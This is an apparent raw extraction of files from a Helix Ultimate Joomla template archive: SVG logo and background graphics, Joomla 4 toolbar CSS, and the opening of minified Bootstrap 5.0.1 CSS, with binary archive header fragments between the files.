<path fill-rule="evenodd" clip-rule="evenodd" d="M74.6783 16.2656H78.309V2.00024H74.6783V16.2656Z" fill="#2A98FF"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M94.1245 16.266H89.7872L86.7028 11.7191L83.6283 16.266H79.4105L84.5045 8.97382L79.7388 2.0007H83.9575L86.7028 6.15831L89.4581 2.0007H93.716L89.0113 8.80423L94.1245 16.266Z" fill="#2A98FF"/>
<path d="M40.7774 21.4986V25.9896C40.7744 26.4324 40.6765 26.8179 40.4838 27.1463C40.291 27.4746 40.0184 27.7276 39.666 27.9053C39.3166 28.08 38.9145 28.1674 38.4596 28.1674C37.7669 28.1674 37.2111 27.9791 36.7925 27.6026C36.3768 27.2231 36.1614 26.699 36.1464 26.0303V21.4986H36.6976V25.949C36.6976 26.5032 36.8557 26.9339 37.172 27.2411C37.4882 27.5454 37.9175 27.6975 38.4596 27.6975C39.0018 27.6975 39.4295 27.5439 39.7428 27.2366C40.0591 26.9294 40.2172 26.5017 40.2172 25.9535V21.4986H40.7774Z" fill="black"/>
<path d="M45.4783 27.6071H48.7268V28.077H44.918V21.4986H45.4783V27.6071Z" fill="black"/>
<path d="M55.6054 21.973H53.3509V28.077H52.7951V21.973H50.5451V21.4986H55.6054V21.973Z" fill="black"/>
<path d="M59.9403 28.077H59.3846V21.4986H59.9403V28.077Z" fill="black"/>
<path d="M65.0568 21.4986L67.4831 27.3044L69.9183 21.4986H70.6593V28.077H70.1036V25.2125L70.1488 22.2757L67.6999 28.077H67.2707L64.8309 22.2983L64.8761 25.1944V28.077H64.3204V21.4986H65.0568Z" fill="black"/>
<path d="M78.55 26.2336H75.5635L74.8857 28.077H74.3029L76.7924 21.4986H77.321L79.8105 28.077H79.2322L78.55 26.2336ZM75.7352 25.7592H78.3737L77.0545 22.1763L75.7352 25.7592Z" fill="black"/>
<path d="M87.2493 21.973H84.9948V28.077H84.4391V21.973H82.189V21.4986H87.2493V21.973Z" fill="black"/>
<path d="M94.5391 24.9233H91.4622V27.6071H94.9999V28.077H90.9065V21.4986H94.9773V21.973H91.4622V24.4535H94.5391V24.9233Z" fill="black"/>
</svg>
PK!�{���)helixultimate/assets/images/select-bg.svgnu&1i�<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1854.54 295" preserveAspectRatio="xMinYMid" width="1854.54" height="295"><path d="M1825.1,145.7l6.9,6.9c0.1,0.1,0.2,0.1,0.3,0.1c0.1,0,0.2,0,0.3-0.1l6.9-6.9c0.1-0.1,0.1-0.2,0.1-0.3c0-0.1,0-0.2-0.1-0.3l-0.7-0.7c-0.1-0.1-0.2-0.1-0.3-0.1s-0.2,0-0.3,0.1l-5.8,5.8l-5.8-5.8c-0.1-0.1-0.2-0.1-0.3-0.1c-0.1,0-0.2,0-0.3,0.1l-0.7,0.7c-0.1,0.1-0.1,0.2-0.1,0.3C1824.9,145.5,1825,145.6,1825.1,145.7z" fill="#000"/><rect width="1810" height="295" fill="#fff"/></svg>
PK!~�l��*helixultimate/assets/css/system-j4.min.cssnu&1i�:root{--hue:214;--template-bg-light:#f0f4fb;--template-text-dark:#495057;--template-text-light:#fff;--template-link-color:#2a69b8;--template-special-color:#001b4c}.js-stools-container-bar{padding:10px 20px}.js-stools-container-bar .btn-toolbar{justify-content:flex-end}.js-stools-container-bar .btn-toolbar>*{margin:4px 0;margin-inline-end:8px}.js-stools-container-bar .btn-toolbar .js-stools-btn-clear{background-color:#1e95cc;border:0}.js-stools-container-bar .ordering-select{display:flex}.js-stools-container-filters{display:none;padding:0 20px;margin-bottom:20px}.js-stools-container-filters-visible{display:grid;grid-gap:8px;grid-template-columns:repeat(auto-fill,minmax(220px,1fr));padding:10px;background-color:#fff}.js-stools-container-filters>*{margin:4px 0;margin-inline-end:8px}.js-stools-field-list+.js-stools-field-list{margin-inline-start:8px}[role=tooltip]:not(.show){right:5em;z-index:9999;display:none;max-width:100%;padding:.5em;margin:.5em;color:#000;text-align:start;background:#fff;border:1px solid #e5e5e5;border-radius:4px;box-shadow:0 0 .5rem rgba(0,0,0,.8)}[role=tooltip]:not(.show)[id^=editarticle-]{right:auto;margin-inline-start:-10em}[role=tooltip]:not(.show)[id^=editcontact-]{right:auto;margin-inline-start:-10em}:focus+[role=tooltip],:hover+[role=tooltip]{position:absolute;display:block}.subhead{position:sticky;top:0;right:0;left:0;z-index:1000;width:auto;min-height:43px;padding:8px 1rem;color:#0c192e;background:#fff;background-image:linear-gradient(var(--toolbar-bg),var(--template-bg-dark-3));box-shadow:0 2px 10px -8px var(--template-bg-dark-50)}.subhead .row{margin-right:0;margin-left:0}.subhead.noshadow{box-shadow:none}.subhead .btn-group,.subhead joomla-toolbar-button{margin-inline-start:.75rem}.subhead .btn-group:first-child,.subhead joomla-toolbar-button:first-child{margin-inline-start:0}.subhead joomla-toolbar-button .btn>span,.subhead joomla-toolbar-button .dropdown-item>span{margin-inline-end:.5rem;width:1.25em;text-align:center}.subhead .btn{--subhead-btn-accent:var(--template-text-dark);padding:0 1rem;margin:5px 0;font-size:1rem;line-height:2.45rem;color:var(--template-text-dark);background:#fff;border-color:#adb5bd}.subhead .btn>span{display:inline-block;color:var(--subhead-btn-accent)}.subhead .btn:not([disabled]):active,.subhead .btn:not([disabled]):focus,.subhead .btn:not([disabled]):hover{color:rgba(255,255,255,.9);background-color:var(--subhead-btn-accent);border-color:var(--subhead-btn-accent)}.subhead .btn:not([disabled]):active>span,.subhead .btn:not([disabled]):focus>span,.subhead .btn:not([disabled]):hover>span{color:rgba(255,255,255,.9)}.subhead .btn.btn-success{--subhead-btn-accent:#198754}.subhead .btn.btn-danger{--subhead-btn-accent:#dc3545}.subhead .btn.btn-primary{--subhead-btn-accent:var(--template-link-color)}.subhead .btn.btn-secondary{--subhead-btn-accent:var(--template-special-color)}.subhead .btn.btn-info{--subhead-btn-accent:var(--template-bg-dark)}.subhead .btn.btn-action{--subhead-btn-accent:var(--template-bg-dark);display:flex;align-items:center}.subhead .btn.btn-action::after{width:2.375rem;font-family:'Font Awesome 5 Free';font-weight:900;content:'\f078';border:0}.subhead .btn.dropdown-toggle[disabled],.subhead .btn[disabled]{--subhead-btn-accent:var(--template-bg-dark);background:rgba(222,226,230,.8);opacity:.5}.subhead .btn.dropdown-toggle[disabled]:active,.subhead .btn.dropdown-toggle[disabled]:focus,.subhead .btn.dropdown-toggle[disabled]:hover,.subhead .btn[disabled]:active,.subhead .btn[disabled]:focus,.subhead .btn[disabled]:hover{cursor:not-allowed}.subhead .dropdown-toggle.btn{padding-inline-end:0}.subhead .btn-group:not(:last-child)>.dropdown-toggle-split{order:1;margin-inline-start:-5px}[dir=ltr] .subhead .btn-group:not(:last-child)>.dropdown-toggle-split{border-radius:0 5px 5px 0}[dir=rtl] .subhead .btn-group:not(:last-child)>.dropdown-toggle-split{border-radius:5px 0 0 5px}.subhead .btn-group joomla-toolbar-button,.subhead .dropdown-menu joomla-toolbar-button{margin-inline-start:0}.contentpane .subhead{margin:-15px -15px 0;background-image:none;border-bottom:1px solid var(--template-bg-dark-7)}@media (min-width:576px) and (max-width:767.98px){joomla-tab[view=accordion] .col-md-3,joomla-tab[view=accordion] .col-md-9{padding:.5rem 1rem!important}#myTab{margin-top:1rem;margin-bottom:1.5rem}joomla-tab[view=accordion] ul li{width:100%}.toggler-toolbar{top:0;bottom:auto;z-index:1030;padding:7px 10px;margin:5px;background-color:var(--template-bg-dark);border-radius:30px}.toggler-toolbar .toggler-toolbar-icon::before{font:normal normal 900 28px/1 'Font Awesome 5 Free';color:var(--toggle-color);content:'\f00d'}.toggler-toolbar.collapsed .toggler-toolbar-icon::before{content:'\f085'}.subhead{padding-right:0;padding-left:0}.subhead .btn,.subhead .btn-group,.subhead joomla-toolbar-button{width:100%;margin-left:0;text-align:left}.subhead .btn-toolbar>.btn-group,.subhead .btn-toolbar>joomla-toolbar-button{margin-left:0}.subhead .btn.btn-action::after{text-align:center;margin-inline-start:auto}.subhead .dropdown-toggle-split{width:auto}}PK!<���_�_*helixultimate/assets/css/bootstrap.min.cssnu&1i�@charset "UTF-8";/*!
 * Bootstrap v5.0.1 (https://getbootstrap.com/)
 * Copyright 2011-2021 The Bootstrap Authors
 * Copyright 2011-2021 Twitter, Inc.
 * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
 */:root{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3545;--bs-orange:#fd7e14;--bs-yellow:#ffc107;--bs-green:#198754;--bs-teal:#20c997;--bs-cyan:#0dcaf0;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-primary:#0d6efd;--bs-secondary:#6c757d;--bs-success:#198754;--bs-info:#0dcaf0;--bs-warning:#ffc107;--bs-danger:#dc3545;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-font-sans-serif:system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--bs-font-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--bs-gradient:linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0))}*,::after,::before{box-sizing:border-box}@media (prefers-reduced-motion:no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-font-sans-serif);font-size:1rem;font-weight:400;line-height:1.5;color:#212529;background-color:#fff;-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}hr{margin:1rem 0;color:inherit;background-color:currentColor;border:0;opacity:.25}hr:not([size]){height:1px}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width:1200px){.h1,h1{font-size:2.5rem}}.h2,h2{font-size:calc(1.325rem + .9vw)}@media (min-width:1200px){.h2,h2{font-size:2rem}}.h3,h3{font-size:calc(1.3rem + .6vw)}@media (min-width:1200px){.h3,h3{font-size:1.75rem}}.h4,h4{font-size:calc(1.275rem + .3vw)}@media (min-width:1200px){.h4,h4{font-size:1.5rem}}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}p{margin-top:0;margin-bottom:1rem}abbr[data-bs-original-title],abbr[title]{-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul{padding-left:2rem}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}.small,small{font-size:.875em}.mark,mark{padding:.2em;background-color:#fcf8e3}sub,sup{position:relative;font-size:.75em;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#0d6efd;text-decoration:underline}a:hover{color:#0a58ca}a:not([href]):not([class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:var(--bs-font-monospace);font-size:1em;direction:ltr;unicode-bidi:bidi-override}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font-size:.875em}pre code{font-size:inherit;color:inherit;word-break:normal}code{font-size:.875em;color:#d63384;word-wrap:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:.875em;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:1em;font-weight:700}figure{margin:0 0 1rem}img,svg{vertical-align:middle}table{caption-side:bottom;border-collapse:collapse}caption{padding-top:.5rem;padding-bottom:.5rem;color:#6c757d;text-align:left}th{text-align:inherit;text-align:-webkit-match-parent}tbody,td,tfoot,th,thead,tr{border-color:inherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}select:disabled{opacity:1}[list]::-webkit-calendar-picker-indicator{display:none}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:left;width:100%;padding:0;margin-bottom:.5rem;font-size:calc(1.275rem + .3vw);line-height:inherit}@media (min-width:1200px){legend{font-size:1.5rem}}legend+*{clear:left}::-webkit-datetime-edit-day-field,::-webkit-datetime-edit-fields-wrapper,::-webkit-datetime-edit-hour-field,::-webkit-datetime-edit-minute,::-webkit-datetime-edit-month-field,::-webkit-datetime-edit-text,::-webkit-datetime-edit-year-field{padding:0}::-webkit-inner-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:textfield}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::file-selector-button{font:inherit}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}iframe{border:0}summary{display:list-item;cursor:pointer}progress{vertical-align:baseline}[hidden]{display:none!important}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:calc(1.625rem + 4.5vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-1{font-size:5rem}}.display-2{font-size:calc(1.575rem + 3.9vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-2{font-size:4.5rem}}.display-3{font-size:calc(1.525rem + 3.3vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-3{font-size:4rem}}.display-4{font-size:calc(1.475rem + 2.7vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-4{font-size:3.5rem}}.display-5{font-size:calc(1.425rem + 2.1vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-5{font-size:3rem}}.display-6{font-size:calc(1.375rem + 1.5vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-6{font-size:2.5rem}}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:.875em;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote>:last-child{margin-bottom:0}.blockquote-footer{margin-top:-1rem;margin-bottom:1rem;font-size:.875em;color:#6c757d}.blockquote-footer::before{content:"— "}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:.875em;color:#6c757d}.container,.container-fluid,.container-lg,.container-md,.container-sm,.container-xl,.container-xxl{width:100%;padding-right:var(--bs-gutter-x,.75rem);padding-left:var(--bs-gutter-x,.75rem);margin-right:auto;margin-left:auto}@media (min-width:576px){.container,.container-sm{max-width:540px}}@media (min-width:768px){.container,.container-md,.container-sm{max-width:720px}}@media (min-width:992px){.container,.container-lg,.container-md,.container-sm{max-width:960px}}@media (min-width:1200px){.container,.container-lg,.container-md,.container-sm,.container-xl{max-width:1140px}}@media (min-width:1400px){.container,.container-lg,.container-md,.container-sm,.container-xl,.container-xxl{max-width:1320px}}.row{--bs-gutter-x:1.5rem;--bs-gutter-y:0;display:flex;flex-wrap:wrap;margin-top:calc(var(--bs-gutter-y) * -1);margin-right:calc(var(--bs-gutter-x)/ -2);margin-left:calc(var(--bs-gutter-x)/ -2)}.row>*{flex-shrink:0;width:100%;max-width:100%;padding-right:calc(var(--bs-gutter-x)/ 2);padding-left:calc(var(--bs-gutter-x)/ 2);margin-top:var(--bs-gutter-y)}.col{flex:1 0 0%}.row-cols-auto>*{flex:0 0 auto;width:auto}.row-cols-1>*{flex:0 0 auto;width:100%}.row-cols-2>*{flex:0 0 auto;width:50%}.row-cols-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-4>*{flex:0 0 auto;width:25%}.row-cols-5>*{flex:0 0 auto;width:20%}.row-cols-6>*{flex:0 0 auto;width:16.6666666667%}.col-auto{flex:0 0 auto;width:auto}.col-1{flex:0 0 auto;width:8.3333333333%}.col-2{flex:0 0 auto;width:16.6666666667%}.col-3{flex:0 0 auto;width:25%}.col-4{flex:0 0 auto;width:33.3333333333%}.col-5{flex:0 0 auto;width:41.6666666667%}.col-6{flex:0 0 auto;width:50%}.col-7{flex:0 0 auto;width:58.3333333333%}.col-8{flex:0 0 auto;width:66.6666666667%}.col-9{flex:0 0 auto;width:75%}.col-10{flex:0 0 auto;width:83.3333333333%}.col-11{flex:0 0 auto;width:91.6666666667%}.col-12{flex:0 0 auto;width:100%}.offset-1{margin-left:8.3333333333%}.offset-2{margin-left:16.6666666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.3333333333%}.offset-5{margin-left:41.6666666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.3333333333%}.offset-8{margin-left:66.6666666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.3333333333%}.offset-11{margin-left:91.6666666667%}.g-0,.gx-0{--bs-gutter-x:0}.g-0,.gy-0{--bs-gutter-y:0}.g-1,.gx-1{--bs-gutter-x:0.25rem}.g-1,.gy-1{--bs-gutter-y:0.25rem}.g-2,.gx-2{--bs-gutter-x:0.5rem}.g-2,.gy-2{--bs-gutter-y:0.5rem}.g-3,.gx-3{--bs-gutter-x:1rem}.g-3,.gy-3{--bs-gutter-y:1rem}.g-4,.gx-4{--bs-gutter-x:1.5rem}.g-4,.gy-4{--bs-gutter-y:1.5rem}.g-5,.gx-5{--bs-gutter-x:3rem}.g-5,.gy-5{--bs-gutter-y:3rem}@media (min-width:576px){.col-sm{flex:1 0 0%}.row-cols-sm-auto>*{flex:0 0 auto;width:auto}.row-cols-sm-1>*{flex:0 0 auto;width:100%}.row-cols-sm-2>*{flex:0 0 auto;width:50%}.row-cols-sm-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-sm-4>*{flex:0 0 auto;width:25%}.row-cols-sm-5>*{flex:0 0 auto;width:20%}.row-cols-sm-6>*{flex:0 0 auto;width:16.6666666667%}.col-sm-auto{flex:0 0 auto;width:auto}.col-sm-1{flex:0 0 auto;width:8.3333333333%}.col-sm-2{flex:0 0 auto;width:16.6666666667%}.col-sm-3{flex:0 0 auto;width:25%}.col-sm-4{flex:0 0 auto;width:33.3333333333%}.col-sm-5{flex:0 0 auto;width:41.6666666667%}.col-sm-6{flex:0 0 auto;width:50%}.col-sm-7{flex:0 0 auto;width:58.3333333333%}.col-sm-8{flex:0 0 auto;width:66.6666666667%}.col-sm-9{flex:0 0 auto;width:75%}.col-sm-10{flex:0 0 auto;width:83.3333333333%}.col-sm-11{flex:0 0 auto;width:91.6666666667%}.col-sm-12{flex:0 0 auto;width:100%}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.3333333333%}.offset-sm-2{margin-left:16.6666666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.3333333333%}.offset-sm-5{margin-left:41.6666666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.3333333333%}.offset-sm-8{margin-left:66.6666666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.3333333333%}.offset-sm-11{margin-left:91.6666666667%}.g-sm-0,.gx-sm-0{--bs-gutter-x:0}.g-sm-0,.gy-sm-0{--bs-gutter-y:0}.g-sm-1,.gx-sm-1{--bs-gutter-x:0.25rem}.g-sm-1,.gy-sm-1{--bs-gutter-y:0.25rem}.g-sm-2,.gx-sm-2{--bs-gutter-x:0.5rem}.g-sm-2,.gy-sm-2{--bs-gutter-y:0.5rem}.g-sm-3,.gx-sm-3{--bs-gutter-x:1rem}.g-sm-3,.gy-sm-3{--bs-gutter-y:1rem}.g-sm-4,.gx-sm-4{--bs-gutter-x:1.5rem}.g-sm-4,.gy-sm-4{--bs-gutter-y:1.5rem}.g-sm-5,.gx-sm-5{--bs-gutter-x:3rem}.g-sm-5,.gy-sm-5{--bs-gutter-y:3rem}}@media (min-width:768px){.col-md{flex:1 0 0%}.row-cols-md-auto>*{flex:0 0 auto;width:auto}.row-cols-md-1>*{flex:0 0 auto;width:100%}.row-cols-md-2>*{flex:0 0 auto;width:50%}.row-cols-md-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-md-4>*{flex:0 0 auto;width:25%}.row-cols-md-5>*{flex:0 0 auto;width:20%}.row-cols-md-6>*{flex:0 0 auto;width:16.6666666667%}.col-md-auto{flex:0 0 auto;width:auto}.col-md-1{flex:0 0 auto;width:8.3333333333%}.col-md-2{flex:0 0 auto;width:16.6666666667%}.col-md-3{flex:0 0 auto;width:25%}.col-md-4{flex:0 0 auto;width:33.3333333333%}.col-md-5{flex:0 0 auto;width:41.6666666667%}.col-md-6{flex:0 0 auto;width:50%}.col-md-7{flex:0 0 auto;width:58.3333333333%}.col-md-8{flex:0 0 auto;width:66.6666666667%}.col-md-9{flex:0 0 auto;width:75%}.col-md-10{flex:0 0 auto;width:83.3333333333%}.col-md-11{flex:0 0 auto;width:91.6666666667%}.col-md-12{flex:0 0 auto;width:100%}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.3333333333%}.offset-md-2{margin-left:16.6666666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.3333333333%}.offset-md-5{margin-left:41.6666666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.3333333333%}.offset-md-8{margin-left:66.6666666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.3333333333%}.offset-md-11{margin-left:91.6666666667%}.g-md-0,.gx-md-0{--bs-gutter-x:0}.g-md-0,.gy-md-0{--bs-gutter-y:0}.g-md-1,.gx-md-1{--bs-gutter-x:0.25rem}.g-md-1,.gy-md-1{--bs-gutter-y:0.25rem}.g-md-2,.gx-md-2{--bs-gutter-x:0.5rem}.g-md-2,.gy-md-2{--bs-gutter-y:0.5rem}.g-md-3,.gx-md-3{--bs-gutter-x:1rem}.g-md-3,.gy-md-3{--bs-gutter-y:1rem}.g-md-4,.gx-md-4{--bs-gutter-x:1.5rem}.g-md-4,.gy-md-4{--bs-gutter-y:1.5rem}.g-md-5,.gx-md-5{--bs-gutter-x:3rem}.g-md-5,.gy-md-5{--bs-gutter-y:3rem}}@media (min-width:992px){.col-lg{flex:1 0 0%}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.6666666667%}.col-lg-auto{flex:0 0 auto;width:auto}.col-lg-1{flex:0 0 auto;width:8.3333333333%}.col-lg-2{flex:0 0 auto;width:16.6666666667%}.col-lg-3{flex:0 0 auto;width:25%}.col-lg-4{flex:0 0 auto;width:33.3333333333%}.col-lg-5{flex:0 0 auto;width:41.6666666667%}.col-lg-6{flex:0 0 auto;width:50%}.col-lg-7{flex:0 0 auto;width:58.3333333333%}.col-lg-8{flex:0 0 auto;width:66.6666666667%}.col-lg-9{flex:0 0 auto;width:75%}.col-lg-10{flex:0 0 auto;width:83.3333333333%}.col-lg-11{flex:0 0 auto;width:91.6666666667%}.col-lg-12{flex:0 0 auto;width:100%}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.3333333333%}.offset-lg-2{margin-left:16.6666666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.3333333333%}.offset-lg-5{margin-left:41.6666666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.3333333333%}.offset-lg-8{margin-left:66.6666666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.3333333333%}.offset-lg-11{margin-left:91.6666666667%}.g-lg-0,.gx-lg-0{--bs-gutter-x:0}.g-lg-0,.gy-lg-0{--bs-gutter-y:0}.g-lg-1,.gx-lg-1{--bs-gutter-x:0.25rem}.g-lg-1,.gy-lg-1{--bs-gutter-y:0.25rem}.g-lg-2,.gx-lg-2{--bs-gutter-x:0.5rem}.g-lg-2,.gy-lg-2{--bs-gutter-y:0.5rem}.g-lg-3,.gx-lg-3{--bs-gutter-x:1rem}.g-lg-3,.gy-lg-3{--bs-gutter-y:1rem}.g-lg-4,.gx-lg-4{--bs-gutter-x:1.5rem}.g-lg-4,.gy-lg-4{--bs-gutter-y:1.5rem}.g-lg-5,.gx-lg-5{--bs-gutter-x:3rem}.g-lg-5,.gy-lg-5{--bs-gutter-y:3rem}}@media (min-width:1200px){.col-xl{flex:1 0 0%}.row-cols-xl-auto>*{flex:0 0 auto;width:auto}.row-cols-xl-1>*{flex:0 0 auto;width:100%}.row-cols-xl-2>*{flex:0 0 auto;width:50%}.row-cols-xl-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-xl-4>*{flex:0 0 auto;width:25%}.row-cols-xl-5>*{flex:0 0 auto;width:20%}.row-cols-xl-6>*{flex:0 0 auto;width:16.6666666667%}.col-xl-auto{flex:0 0 auto;width:auto}.col-xl-1{flex:0 0 auto;width:8.3333333333%}.col-xl-2{flex:0 0 auto;width:16.6666666667%}.col-xl-3{flex:0 0 auto;width:25%}.col-xl-4{flex:0 0 auto;width:33.3333333333%}.col-xl-5{flex:0 0 auto;width:41.6666666667%}.col-xl-6{flex:0 0 auto;width:50%}.col-xl-7{flex:0 0 auto;width:58.3333333333%}.col-xl-8{flex:0 0 auto;width:66.6666666667%}.col-xl-9{flex:0 0 auto;width:75%}.col-xl-10{flex:0 0 auto;width:83.3333333333%}.col-xl-11{flex:0 0 auto;width:91.6666666667%}.col-xl-12{flex:0 0 auto;width:100%}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.3333333333%}.offset-xl-2{margin-left:16.6666666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.3333333333%}.offset-xl-5{margin-left:41.6666666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.3333333333%}.offset-xl-8{margin-left:66.6666666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.3333333333%}.offset-xl-11{margin-left:91.6666666667%}.g-xl-0,.gx-xl-0{--bs-gutter-x:0}.g-xl-0,.gy-xl-0{--bs-gutter-y:0}.g-xl-1,.gx-xl-1{--bs-gutter-x:0.25rem}.g-xl-1,.gy-xl-1{--bs-gutter-y:0.25rem}.g-xl-2,.gx-xl-2{--bs-gutter-x:0.5rem}.g-xl-2,.gy-xl-2{--bs-gutter-y:0.5rem}.g-xl-3,.gx-xl-3{--bs-gutter-x:1rem}.g-xl-3,.gy-xl-3{--bs-gutter-y:1rem}.g-xl-4,.gx-xl-4{--bs-gutter-x:1.5rem}.g-xl-4,.gy-xl-4{--bs-gutter-y:1.5rem}.g-xl-5,.gx-xl-5{--bs-gutter-x:3rem}.g-xl-5,.gy-xl-5{--bs-gutter-y:3rem}}@media (min-width:1400px){.col-xxl{flex:1 0 0%}.row-cols-xxl-auto>*{flex:0 0 auto;width:auto}.row-cols-xxl-1>*{flex:0 0 auto;width:100%}.row-cols-xxl-2>*{flex:0 0 auto;width:50%}.row-cols-xxl-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-xxl-4>*{flex:0 0 auto;width:25%}.row-cols-xxl-5>*{flex:0 0 auto;width:20%}.row-cols-xxl-6>*{flex:0 0 auto;width:16.6666666667%}.col-xxl-auto{flex:0 0 auto;width:auto}.col-xxl-1{flex:0 0 auto;width:8.3333333333%}.col-xxl-2{flex:0 0 auto;width:16.6666666667%}.col-xxl-3{flex:0 0 auto;width:25%}.col-xxl-4{flex:0 0 auto;width:33.3333333333%}.col-xxl-5{flex:0 0 auto;width:41.6666666667%}.col-xxl-6{flex:0 0 auto;width:50%}.col-xxl-7{flex:0 0 auto;width:58.3333333333%}.col-xxl-8{flex:0 0 auto;width:66.6666666667%}.col-xxl-9{flex:0 0 auto;width:75%}.col-xxl-10{flex:0 0 auto;width:83.3333333333%}.col-xxl-11{flex:0 0 auto;width:91.6666666667%}.col-xxl-12{flex:0 0 auto;width:100%}.offset-xxl-0{margin-left:0}.offset-xxl-1{margin-left:8.3333333333%}.offset-xxl-2{margin-left:16.6666666667%}.offset-xxl-3{margin-left:25%}.offset-xxl-4{margin-left:33.3333333333%}.offset-xxl-5{margin-left:41.6666666667%}.offset-xxl-6{margin-left:50%}.offset-xxl-7{margin-left:58.3333333333%}.offset-xxl-8{margin-left:66.6666666667%}.offset-xxl-9{margin-left:75%}.offset-xxl-10{margin-left:83.3333333333%}.offset-xxl-11{margin-left:91.6666666667%}.g-xxl-0,.gx-xxl-0{--bs-gutter-x:0}.g-xxl-0,.gy-xxl-0{--bs-gutter-y:0}.g-xxl-1,.gx-xxl-1{--bs-gutter-x:0.25rem}.g-xxl-1,.gy-xxl-1{--bs-gutter-y:0.25rem}.g-xxl-2,.gx-xxl-2{--bs-gutter-x:0.5rem}.g-xxl-2,.gy-xxl-2{--bs-gutter-y:0.5rem}.g-xxl-3,.gx-xxl-3{--bs-gutter-x:1rem}.g-xxl-3,.gy-xxl-3{--bs-gutter-y:1rem}.g-xxl-4,.gx-xxl-4{--bs-gutter-x:1.5rem}.g-xxl-4,.gy-xxl-4{--bs-gutter-y:1.5rem}.g-xxl-5,.gx-xxl-5{--bs-gutter-x:3rem